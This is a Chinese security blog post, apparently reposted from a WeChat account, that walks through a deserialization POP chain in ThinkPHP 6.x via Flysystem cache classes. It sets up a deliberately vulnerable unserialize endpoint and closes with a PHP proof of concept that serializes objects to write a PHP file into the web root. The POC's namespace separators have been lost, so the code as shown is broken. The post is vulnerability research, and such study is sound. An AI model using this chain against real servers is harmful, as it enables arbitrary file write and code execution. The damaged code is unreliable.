ThinkPHP 6.x反序列化POP链(三)

admin 2022年2月24日03:35:16评论208 views字数 2163阅读7分12秒阅读模式

环境准备

安装ThinkPHP 6.0

composer create-project topthink/think=6.0.x-dev v6.0

修改application/index/controller/Index.php 的代码

class Index
{
   public function index()
  {
       $payload = unserialize(base64_decode($_GET['payload']));
       return 'ThinkPHP V6.x';
  }
}

开启ThinkPHP6调试

将根目录.example.env更改为.env,文件中添加:APP_DEBUG = true

POP链分析

__destruct()

pop链的起点与前面的利用方式相同,都是/vendor/league/flysystem-cached-adapter/src/Storage/AbstractCache.php__destruct() 方法中的 save()

ThinkPHP 6.x反序列化POP链(三)

Adapter

第二步也同样是寻找继承了 AbstractCache 的类,我们选择的是 vendor/league/flysystem-cached-adapter/src/Storage/Adapter.php 中的 Adapter

ThinkPHP 6.x反序列化POP链(三)

save()

分析 Adapter 类中实现的 save() 方法

ThinkPHP 6.x反序列化POP链(三)

$contentsgetForStorage() 函数的返回值,跟进此函数

getForStorage()

ThinkPHP 6.x反序列化POP链(三)

执行了 cleanContents() 方法,跟进此方法

cleanContents()

由于当前类中没有 cleanContents() 方法,所以我们在父类 Adapter 中查找

ThinkPHP 6.x反序列化POP链(三)

发现了和上一篇文章中相同的代码,只进行了数组合并,传入的数组原样返回,$contents来源于 $this->cache

我们通过$this->cache传入数组,经过 getForStorage() 中的 json_encode 处理后,返回json给 save() 中的 $contents 。此处先行提示,$contents包含了写入文件的内容。

回到save()

ThinkPHP 6.x反序列化POP链(三)

我们已经分析了 $contents ,下面我们分析if else逻辑。我们需要利用write方法写文件,要触发 write 方法我们需要让has方法返回false。

由此,我们需要寻找一个有 haswrite 方法的类。

vendor/league/flysystem/src/Adapter/Local.php 中的 Local 类符合要求

Local类

跟进has()

ThinkPHP 6.x反序列化POP链(三)

执行 applyPathPrefix() 返回给 $location ,继续跟进 applyPathPrefix()

applyPathPrefix()

当前类中不存在 applyPathPrefix() ,所以我们去Local 的父类 AbstractAdapter 中寻找

ThinkPHP 6.x反序列化POP链(三)

applyPathPrefix() 调用了前面的 getPathPrefix()

getPathPrefix()

getPathPrefix() 返回的是 $this->pathPrefix 的值,pathPrefix 可控,ltrim函数去除file左侧的/和,于是我们可以直接传入一个文件名,然后控制pathPrefix为路径部分。

回到has()

执行file_exists函数,我们只需要保证传入的文件名不存在即可使has返回false

write()

ThinkPHP 6.x反序列化POP链(三)

$location来源于$this->file传入applyPathPrefix处理后的文件名,$contents即经过json_encode处理后带有文件内容的json数据

POC

<?php 

namespace LeagueFlysystemCachedStorage{
abstract class AbstractCache
{
protected $autosave = false;
protected $cache = ["test"=>"<?php phpinfo();?>"];
}
}

namespace LeagueFlysystemCachedStorage{
use LeagueFlysystemCachedStorageAbstractCache;
class Adapter extends AbstractCache
{
protected $file;
protected $adapter;

public function __construct($adapter="")
{
$this->file = "think\public\test.php";
           // 需要根据系统以及配置修改路径写法
$this->adapter = $adapter;
}
}
}

namespace LeagueFlysystemAdapter{
class Local
{
protected $writeFlags = 0;
}
}

namespace{
$local = new LeagueFlysystemAdapterLocal();
$cache = new LeagueFlysystemCachedStorageAdapter($local);
echo base64_encode(serialize($cache));
}

?>

ThinkPHP 6.x反序列化POP链(三)

长按识别二维码,求关注求点👍

ThinkPHP 6.x反序列化POP链(三)

本文始发于微信公众号(宽字节安全):ThinkPHP 6.x反序列化POP链(三)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年2月24日03:35:16
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   ThinkPHP 6.x反序列化POP链(三)http://cn-sec.com/archives/497896.html

发表评论

匿名网友 填写信息